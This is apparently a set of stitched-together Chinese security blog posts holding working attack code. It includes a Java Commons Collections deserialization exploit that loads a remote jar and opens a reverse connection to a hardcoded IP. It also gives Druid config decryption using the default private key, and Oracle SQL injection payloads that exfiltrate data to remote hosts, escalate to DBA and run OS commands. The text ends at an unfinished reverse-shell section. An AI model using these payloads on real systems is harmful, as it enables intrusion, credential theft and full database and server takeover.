* @Date 2015年11月8日 下午12:12:13
*/
public class Main {
public static Object Reverse_Payload(String ip, int port) throws Exception {
final Transformer[] transforms = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
// getConstructor class.class classname
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
// newinstance string http://www.iswin.org/attach/iswin.jar
new InvokerTransformer(
"newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
"http://www.iswin.org/attach/iswin.jar") } } }),
// loadClass String.class R
new InvokerTransformer("loadClass",
new Class[] { String.class }, new Object[] { "R" }),
// set the target reverse ip and port
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
// invoke
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new String[] { ip + ":" + port } }),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transforms);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class cls = Class
.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload("146.185.182.237", 8090),
"/Users/iswin/Downloads/test.bin");
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
// 这里为测试上面的tansform是否会触发payload
// Map.Entry onlyElement =(Entry) outmap.entrySet().iterator().next();
// onlyElement.setValue("foobar");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}

漏洞检测?

这里提供一个poc供大家进行检测,其实就是发送一个http请求到指定ip,然后参数中带有特定特征来判断是否存在漏洞,直接观察日志就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package iswin;
import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class CommonsCollections1 {
public InvocationHandler getObject(final String ip) throws Exception {
final Transformer transformerChain = new ChainedTransformer(
new Transformer[] { new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URL.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new String[] { ip } }),
new InvokerTransformer("openStream", new Class[] {},
new Object[] {}), new ConstantTransformer(1) };
// final Map innerMap = new HashMap();
//
// final Map lazyMap = LazyMap.decorate(new HashMap(),
// transformerChain);
// this will generate a
// AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
InvocationHandler invo = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class,
LazyMap.decorate(new HashMap(), transformerChain));
final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
.getClass().getClassLoader(), new Class[] { Map.class }, invo));
final InvocationHandler handler = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, mapProxy);
setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name)
.getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static Field getField(final Class<?> clazz, final String fieldName)
throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName,
final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(final String[] args) throws Exception {
final Object objBefore = CommonsCollections1.class.newInstance()
.getObject("http://abc.333d61.dnslog.info/tangscan/iswin.jpg");
File f = new File("/Users/iswin/Downloads/hello.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(objBefore);
out.flush();
out.close();
// Serializables.deserialize(Serializables.serialize(objBefore));
}
}

参考资料

[1] :https://github.com/frohoff/ysoserial/
[2] :http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss

Driud是什么

Druid是阿里巴巴开源平台上的一个项目,整个项目由数据库连接池、插件框架和SQL解析器组成。该项目主要是为了扩展JDBC的一些限制,可以让程序员实现一些特殊的需求,比如向密钥服务请求凭证、统计SQL信息、SQL性能收集、SQL注入检查、SQL翻译等,程序员可以通过定制来实现自己需要的功能。

Druid解密方式

Druid数据库加密算法采用的是RSA非对称加解密,并且秘钥的配置支持多种方式:

  • 远程加载秘钥文件
  • 读取本地秘钥文件
  • 使用系统属性加载秘钥
  • 使用默认秘钥加解密

远程加载

在Spring中配置像这样:

1
2
3
4
<bean id="dataSource" class="com.alibaba.druid.pool.DruidDataSource" init-method="init" destroy-method="close">
<property name="filters" value="config" />
<property name="connectionProperties" value="config.file=http://remote:8080/remote.propreties; />
</bean>

从远程服务器中加载包含秘钥的remote.propreties

####读取本地秘钥
读取本地配置文件

1
2
3
4
5
<bean id="dataSource" class="com.alibaba.druid.pool.DruidDataSource"
init-method="init" destroy-method="close">
<property name="filters" value="config" />
<property name="connectionProperties" value="config.file=file:///home/admin/druid-pool.properties" />
</bean>

系统属性中获取秘钥

获取解密的代码如下:

1
2
public static final String SYS_PROP_CONFIG_KEY = "druid.config.decrypt.key";
key = System.getProperty(SYS_PROP_CONFIG_KEY);

如果前两种方式都未能找到解密的KEY,那么会在java系统熟悉中去获取秘钥。

默认秘钥

如果上述所有方法都无法获取秘钥,那么程序将使用默认秘钥去加解密。

解密

找到秘钥后就可以使用下列代码进行解密,不过大多数开发都是采用默认秘钥去加密字符串,实质上并没有什么卵用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
package org.iswin.csv;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.security.InvalidKeyException;
import java.security.Key;
import java.security.KeyFactory;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.SecureRandom;
import java.security.cert.Certificate;
import java.security.cert.CertificateFactory;
import java.security.interfaces.RSAPrivateKey;
import java.security.interfaces.RSAPublicKey;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.RSAPrivateKeySpec;
import java.security.spec.RSAPublicKeySpec;
import java.security.spec.X509EncodedKeySpec;
import javax.crypto.Cipher;
public class ConfigTools {
private static final String DEFAULT_PRIVATE_KEY_STRING = "MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAocbCrurZGbC5GArEHKlAfDSZi7gFBnd4yxOt0rwTqKBFzGyhtQLu5PRKjEiOXVa95aeIIBJ6OhC2f8FjqFUpawIDAQABAkAPejKaBYHrwUqUEEOe8lpnB6lBAsQIUFnQI/vXU4MV+MhIzW0BLVZCiarIQqUXeOhThVWXKFt8GxCykrrUsQ6BAiEA4vMVxEHBovz1di3aozzFvSMdsjTcYRRo82hS5Ru2/OECIQC2fAPoXixVTVY7bNMeuxCP4954ZkXp7fEPDINCjcQDywIgcc8XLkkPcs3Jxk7uYofaXaPbg39wuJpEmzPIxi3k0OECIGubmdpOnin3HuCP/bbjbJLNNoUdGiEmFL5hDI4UdwAdAiEAtcAwbm08bKN7pwwvyqaCBC//VnEWaq39DCzxr+Z2EIk=";
public static final String DEFAULT_PUBLIC_KEY_STRING = "MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKHGwq7q2RmwuRgKxBypQHw0mYu4BQZ3eMsTrdK8E6igRcxsobUC7uT0SoxIjl1WveWniCASejoQtn/BY6hVKWsCAwEAAQ==";
public static void main(String[] args) throws Exception {
System.out.println(decrypt("MIqXaohFx7rvzJv5ZAb6ZvPPFDFMxL50yiAhks2Qg9822gi/X4to4UHJb10zCIN89B0n95nZWJTYtJ2SmZ0RTQ=="));
}
public static String decrypt(String cipherText) throws Exception {
return decrypt((String) null, cipherText);
}
public static String decrypt(String publicKeyText, String cipherText)
throws Exception {
PublicKey publicKey = getPublicKey(publicKeyText);
return decrypt(publicKey, cipherText);
}
public static PublicKey getPublicKeyByX509(String x509File) {
if (x509File == null || x509File.length() == 0) {
return ConfigTools.getPublicKey(null);
}
FileInputStream in = null;
try {
in = new FileInputStream(x509File);
CertificateFactory factory = CertificateFactory
.getInstance("X.509");
Certificate cer = factory.generateCertificate(in);
return cer.getPublicKey();
} catch (Exception e) {
throw new IllegalArgumentException("Failed to get public key", e);
} finally {
try {
in.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
public static PublicKey getPublicKey(String publicKeyText) {
if (publicKeyText == null || publicKeyText.length() == 0) {
publicKeyText = ConfigTools.DEFAULT_PUBLIC_KEY_STRING;
}
try {
byte[] publicKeyBytes = Base64.base64ToByteArray(publicKeyText);
X509EncodedKeySpec x509KeySpec = new X509EncodedKeySpec(
publicKeyBytes);
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
return keyFactory.generatePublic(x509KeySpec);
} catch (Exception e) {
throw new IllegalArgumentException("Failed to get public key", e);
}
}
public static PublicKey getPublicKeyByPublicKeyFile(String publicKeyFile) {
if (publicKeyFile == null || publicKeyFile.length() == 0) {
return ConfigTools.getPublicKey(null);
}
FileInputStream in = null;
try {
in = new FileInputStream(publicKeyFile);
ByteArrayOutputStream out = new ByteArrayOutputStream();
int len = 0;
byte[] b = new byte[512 / 8];
while ((len = in.read(b)) != -1) {
out.write(b, 0, len);
}
byte[] publicKeyBytes = out.toByteArray();
X509EncodedKeySpec spec = new X509EncodedKeySpec(publicKeyBytes);
KeyFactory factory = KeyFactory.getInstance("RSA");
return factory.generatePublic(spec);
} catch (Exception e) {
throw new IllegalArgumentException("Failed to get public key", e);
} finally {
try {
in.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
public static String decrypt(PublicKey publicKey, String cipherText)
throws Exception {
Cipher cipher = Cipher.getInstance("RSA");
try {
cipher.init(Cipher.DECRYPT_MODE, publicKey);
} catch (InvalidKeyException e) {
// 因为 IBM JDK 不支持私钥加密, 公钥解密, 所以要反转公私钥
// 也就是说对于解密, 可以通过公钥的参数伪造一个私钥对象欺骗 IBM JDK
RSAPublicKey rsaPublicKey = (RSAPublicKey) publicKey;
RSAPrivateKeySpec spec = new RSAPrivateKeySpec(rsaPublicKey.getModulus(), rsaPublicKey.getPublicExponent());
Key fakePrivateKey = KeyFactory.getInstance("RSA").generatePrivate(spec);
cipher = Cipher.getInstance("RSA"); //It is a stateful object. so we need to get new one.
cipher.init(Cipher.DECRYPT_MODE, fakePrivateKey);
}
if (cipherText == null || cipherText.length() == 0) {
return cipherText;
}
byte[] cipherBytes = Base64.base64ToByteArray(cipherText);
byte[] plainBytes = cipher.doFinal(cipherBytes);
return new String(plainBytes);
}
public static String encrypt(String plainText) throws Exception {
return encrypt((String) null, plainText);
}
public static String encrypt(String key, String plainText) throws Exception {
if (key == null) {
key = DEFAULT_PRIVATE_KEY_STRING;
}
byte[] keyBytes = Base64.base64ToByteArray(key);
return encrypt(keyBytes, plainText);
}
public static String encrypt(byte[] keyBytes, String plainText)
throws Exception {
PKCS8EncodedKeySpec spec = new PKCS8EncodedKeySpec(keyBytes);
KeyFactory factory = KeyFactory.getInstance("RSA");
PrivateKey privateKey = factory.generatePrivate(spec);
Cipher cipher = Cipher.getInstance("RSA");
try {
cipher.init(Cipher.ENCRYPT_MODE, privateKey);
} catch (InvalidKeyException e) {
//For IBM JDK, 原因请看解密方法中的说明
RSAPrivateKey rsaPrivateKey = (RSAPrivateKey) privateKey;
RSAPublicKeySpec publicKeySpec = new RSAPublicKeySpec(rsaPrivateKey.getModulus(), rsaPrivateKey.getPrivateExponent());
Key fakePublicKey = KeyFactory.getInstance("RSA").generatePublic(publicKeySpec);
cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.ENCRYPT_MODE, fakePublicKey);
}
byte[] encryptedBytes = cipher.doFinal(plainText.getBytes("UTF-8"));
String encryptedString = Base64.byteArrayToBase64(encryptedBytes);
return encryptedString;
}
public static byte[][] genKeyPairBytes(int keySize)
throws NoSuchAlgorithmException {
byte[][] keyPairBytes = new byte[2][];
KeyPairGenerator gen = KeyPairGenerator.getInstance("RSA");
gen.initialize(keySize, new SecureRandom());
KeyPair pair = gen.generateKeyPair();
keyPairBytes[0] = pair.getPrivate().getEncoded();
keyPairBytes[1] = pair.getPublic().getEncoded();
return keyPairBytes;
}
public static String[] genKeyPair(int keySize)
throws NoSuchAlgorithmException {
byte[][] keyPairBytes = genKeyPairBytes(keySize);
String[] keyPairs = new String[2];
keyPairs[0] = Base64.byteArrayToBase64(keyPairBytes[0]);
keyPairs[1] = Base64.byteArrayToBase64(keyPairBytes[1]);
return keyPairs;
}
}

BASE64工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
package org.iswin.csv;
/**
* Static methods for translating Base64 encoded strings to byte arrays and vice-versa.
*
* @author Josh Bloch
* @version %I%, %G%
* @see Preferences
* @since 1.4
*/
public class Base64 {
/**
* Translates the specified byte array into a Base64 string as per Preferences.put(byte[]).
*/
public static String byteArrayToBase64(byte[] a) {
return byteArrayToBase64(a, false);
}
/**
* Translates the specified byte array into an "alternate representation" Base64 string. This non-standard variant
* uses an alphabet that does not contain the uppercase alphabetic characters, which makes it suitable for use in
* situations where case-folding occurs.
*/
public static String byteArrayToAltBase64(byte[] a) {
return byteArrayToBase64(a, true);
}
private static String byteArrayToBase64(byte[] a, boolean alternate) {
int aLen = a.length;
int numFullGroups = aLen / 3;
int numBytesInPartialGroup = aLen - 3 * numFullGroups;
int resultLen = 4 * ((aLen + 2) / 3);
StringBuilder result = new StringBuilder(resultLen);
char[] intToAlpha = (alternate ? intToAltBase64 : intToBase64);
// Translate all full groups from byte array elements to Base64
int inCursor = 0;
for (int i = 0; i < numFullGroups; i++) {
int byte0 = a[inCursor++] & 0xff;
int byte1 = a[inCursor++] & 0xff;
int byte2 = a[inCursor++] & 0xff;
result.append(intToAlpha[byte0 >> 2]);
result.append(intToAlpha[(byte0 << 4) & 0x3f | (byte1 >> 4)]);
result.append(intToAlpha[(byte1 << 2) & 0x3f | (byte2 >> 6)]);
result.append(intToAlpha[byte2 & 0x3f]);
}
// Translate partial group if present
if (numBytesInPartialGroup != 0) {
int byte0 = a[inCursor++] & 0xff;
result.append(intToAlpha[byte0 >> 2]);
if (numBytesInPartialGroup == 1) {
result.append(intToAlpha[(byte0 << 4) & 0x3f]);
result.append("==");
} else {
// assert numBytesInPartialGroup == 2;
int byte1 = a[inCursor++] & 0xff;
result.append(intToAlpha[(byte0 << 4) & 0x3f | (byte1 >> 4)]);
result.append(intToAlpha[(byte1 << 2) & 0x3f]);
result.append('=');
}
}
// assert inCursor == a.length;
// assert result.length() == resultLen;
return result.toString();
}
/**
* This array is a lookup table that translates 6-bit positive integer index values into their "Base64 Alphabet"
* equivalents as specified in Table 1 of RFC 2045.
*/
private static final char intToBase64[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
'3', '4', '5', '6', '7', '8', '9', '+', '/' };
/**
* This array is a lookup table that translates 6-bit positive integer index values into their
* "Alternate Base64 Alphabet" equivalents. This is NOT the real Base64 Alphabet as per in Table 1 of RFC 2045. This
* alternate alphabet does not use the capital letters. It is designed for use in environments where "case folding"
* occurs.
*/
private static final char intToAltBase64[] = { '!', '"', '#', '$', '%', '&', '\'', '(', ')', ',', '-', '.', ':',
';', '<', '>', '@', '[', ']', '^', '`', '_', '{', '|', '}', '~', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2',
'3', '4', '5', '6', '7', '8', '9', '+', '?' };
/**
* Translates the specified Base64 string (as per Preferences.get(byte[])) into a byte array.
*
* @throw IllegalArgumentException if <tt>s</tt> is not a valid Base64 string.
*/
public static byte[] base64ToByteArray(String s) {
return base64ToByteArray(s, false);
}
/**
* Translates the specified "alternate representation" Base64 string into a byte array.
*
* @throw IllegalArgumentException or ArrayOutOfBoundsException if <tt>s</tt> is not a valid alternate
* representation Base64 string.
*/
public static byte[] altBase64ToByteArray(String s) {
return base64ToByteArray(s, true);
}
private static byte[] base64ToByteArray(String s, boolean alternate) {
byte[] alphaToInt = (alternate ? altBase64ToInt : base64ToInt);
int sLen = s.length();
int numGroups = sLen / 4;
if (4 * numGroups != sLen) {
throw new IllegalArgumentException("String length must be a multiple of four.");
}
int missingBytesInLastGroup = 0;
int numFullGroups = numGroups;
if (sLen != 0) {
if (s.charAt(sLen - 1) == '=') {
missingBytesInLastGroup++;
numFullGroups--;
}
if (s.charAt(sLen - 2) == '=') {
missingBytesInLastGroup++;
}
}
byte[] result = new byte[3 * numGroups - missingBytesInLastGroup];
// Translate all full groups from base64 to byte array elements
int inCursor = 0, outCursor = 0;
for (int i = 0; i < numFullGroups; i++) {
int ch0 = base64toInt(s.charAt(inCursor++), alphaToInt);
int ch1 = base64toInt(s.charAt(inCursor++), alphaToInt);
int ch2 = base64toInt(s.charAt(inCursor++), alphaToInt);
int ch3 = base64toInt(s.charAt(inCursor++), alphaToInt);
result[outCursor++] = (byte) ((ch0 << 2) | (ch1 >> 4));
result[outCursor++] = (byte) ((ch1 << 4) | (ch2 >> 2));
result[outCursor++] = (byte) ((ch2 << 6) | ch3);
}
// Translate partial group, if present
if (missingBytesInLastGroup != 0) {
int ch0 = base64toInt(s.charAt(inCursor++), alphaToInt);
int ch1 = base64toInt(s.charAt(inCursor++), alphaToInt);
result[outCursor++] = (byte) ((ch0 << 2) | (ch1 >> 4));
if (missingBytesInLastGroup == 1) {
int ch2 = base64toInt(s.charAt(inCursor++), alphaToInt);
result[outCursor++] = (byte) ((ch1 << 4) | (ch2 >> 2));
}
}
// assert inCursor == s.length()-missingBytesInLastGroup;
// assert outCursor == result.length;
return result;
}
/**
* Translates the specified character, which is assumed to be in the "Base 64 Alphabet" into its equivalent 6-bit
* positive integer.
*
* @throw IllegalArgumentException or ArrayOutOfBoundsException if c is not in the Base64 Alphabet.
*/
private static int base64toInt(char c, byte[] alphaToInt) {
int result = alphaToInt[c];
if (result < 0) {
throw new IllegalArgumentException("Illegal character " + c);
}
return result;
}
/**
* This array is a lookup table that translates unicode characters drawn from the "Base64 Alphabet" (as specified in
* Table 1 of RFC 2045) into their 6-bit positive integer equivalents. Characters that are not in the Base64
* alphabet but fall within the bounds of the array are translated to -1.
*/
private static final byte base64ToInt[] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62,
-1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7,
8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51 };
/**
* This array is the analogue of base64ToInt, but for the nonstandard variant that avoids the use of uppercase
* alphabetic characters.
*/
private static final byte altBase64ToInt[] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, -1, 62, 9, 10,
11, -1, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 12, 13, 14, -1, 15, 63, 16, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 17, -1, 18, 19, 21, 20, 26, 27, 28,
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 22, 23, 24, 25 };
}

本文主要讨论在得到一枚oracle注入点时,如何通过Oracle自带函数或者缺陷获取数据,权限提升以及获得系统权限。

数据获取

报错注入的几种方式

0x1 utl_inaddr.get_host_name

这种方法在Oracle 8g,9g,10g中不需要任何权限,但是在Oracle 11g以及以后的版本中,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限。

1
http://www.iswin.org/oracle.jsp?name=' and 1=utl_inaddr.get_host_name((select user from dual))--

0x2 ctxsys.drithsx.sn

1
http://www.iswin.org/oracle.jsp?name=' and 1=ctxsys.drithsx.sn(1,(select user from dual))--

0x3 XMLType

在使用这个XMLType进行报错时,很多人不知道为什么要用chr(60),通过ascii查询可以看到,60:<,58:’:’,62:’>’,查了下相关的api,发现xmltype在进行解析的时候必须以<开头>结尾,这里:冒号在这是必不可少的,至于为什么是冒号这个我也没查到,另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,有replace函数替换成其他非空字符就可以。

1
http://www.iswin.org/oracle.jsp?name=' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--

0x4 dbms_xdb_version.checkin

1
http://www.iswin.org/oracle.jsp?name=' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

0x5 dbms_xdb_version.makeversioned

1
http://www.iswin.org/oracle.jsp?name=' and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null--

0x6 dbms_xdb_version.uncheckout

1
http://www.iswin.org/oracle.jsp?name=' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--

0x7 dbms_utility.sqlid_to_sqlhash

1
http://www.iswin.org/oracle.jsp?name=' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null--

UTL_HTTP.request的使用

通过utl_http.request我们可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法用户需要有utl_http访问网络的权限。

1
http://www.iswin.org/oracle.jsp?name=' and (UTL_HTTP.request('http://www.iswin.org:80/'||(select banner from sys.v_$version where rownum=1))=1

UTL_INADDR.GET_HOST_ADDRESS&SYS.DBMS_LDAP.INIT

很多时候数据服务器都是站库分离的,而且不一定能出网,有时候可能会允许DNS请求,所以该方法能在一定情况下奏效。

1
http://www.iswin.org/oracle.jsp?name=' and (select utl_inaddr.get_host_address((select user from dual)||'.iswin.org') from dual)is not null--

1
http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.iswin.org') from dual)is not null--

Oracle XXE(CVE-2014-6577)

受影响版本:11.2.0.3, 11.2.0.4, 12.1.0.1 和12.1.0.2

这里Oracle的XXE的利用效果和UTL_http的效果差不多,都是将数据传输到远端服务器上,但是,由于extractvalue()函数对所有数据库用户都可以使用,不存在权限的问题,所以当在低权限没有UTL_http访问权限时,这个不失为一个好方法。

1
http://www.iswin.org/oracle.jsp?name=' and (select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://172.16.10.1:8080/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual) is not null

Oracle 提权漏洞

GET_DOMAIN_INDEX_TABLES函数注入漏洞

影响版本:Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2

漏洞的成因是该函数的参数存在注入,而该函数的所有者是sys,所以通过注入就可以执行任意sql,该函数的执行权限为public,所以只要遇到一个oracle的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。

权限提升

1
http://www.iswin.org/oracle.jsp?name=' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null--

权限提升之后就可以做很多事了,因为Oracle可以执行JAVA代码,所以在提升权限后具体怎么操作,就看各自的JAVA水平了。
这里给出几种常见的利用方式。

命令执行

创建JAVA代码

1
http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null

赋予JAVA执行权限

1
http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

创建函数

1
http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

赋予函数执行权限

1
http://www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

执行命令

1
http://www.iswin.org/oracle.jsp?name=' and (select sys.cmd('cmd.exe /c whoami') from dual) is not null--

反弹SHELL

创建JAVA代码

当执行命令没有什么太大的帮助时,我们可以反弹一个交互式的shell,这样会方便很多。

1
